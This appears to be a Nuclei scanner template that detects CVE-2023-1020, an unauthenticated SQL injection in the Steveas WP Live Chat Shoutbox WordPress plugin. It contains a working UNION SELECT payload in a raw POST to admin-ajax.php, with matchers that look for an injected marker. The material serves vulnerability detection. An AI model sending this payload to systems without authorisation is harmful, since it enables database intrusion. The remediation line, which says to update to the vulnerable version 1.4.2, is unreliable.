id: CVE-2023-1020 info: name: Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection author: theamanrawat severity: critical description: | The Steveas WP Live Chat Shoutbox WordPress plugin through 1.4.2 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection. remediation: | Update to the latest version of the Steveas WP Live Chat Shoutbox plugin (1.4.2) or apply the vendor-provided patch to fix the SQL Injection vulnerability. reference: - https://wpscan.com/vulnerability/4e5aa9a3-65a0-47d6-bc26-a2fb6cb073ff - https://wordpress.org/plugins/wp-shoutbox-live-chat/ - https://nvd.nist.gov/vuln/detail/CVE-2023-1020 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-1020 cwe-id: CWE-89 epss-score: 0.06484 epss-percentile: 0.92947 cpe: cpe:2.3:a:wp_live_chat_shoutbox_project:wp_live_chat_shoutbox:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: wp_live_chat_shoutbox_project product: wp_live_chat_shoutbox framework: wordpress tags: wpscan,cve,cve2023,sqli,wordpress,wp-plugin,wp,wp-shoutbox-live-chat http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 action=shoutbox-ajax-update-messages&last_timestamp=0)+UNION+ALL+SELECT+NULL,NULL,(SELECT+CONCAT(0x6338633630353939396633643833353264376262373932636633666462323562)),NULL,NULL,NULL,NULL,NULL--+&rooms%5B%5D=default matchers-condition: and matchers: - type: word part: body words: - "c8c605999f3d8352d7bb792cf3fdb25b" - "no_participation" condition: and - type: word part: header words: - "application/json" - type: status status: - 200 # digest: 4b0a00483046022100fb443e821d2b3ddab9e106530234f3e33ac16e25e1a4172a2840559fd078e4860221009df6fd11283b5f8252e4fc6c26a7eb9d941a7b46ee81e51416cb7ae8811161f9:922c64590222798bb761d5b6d8e72950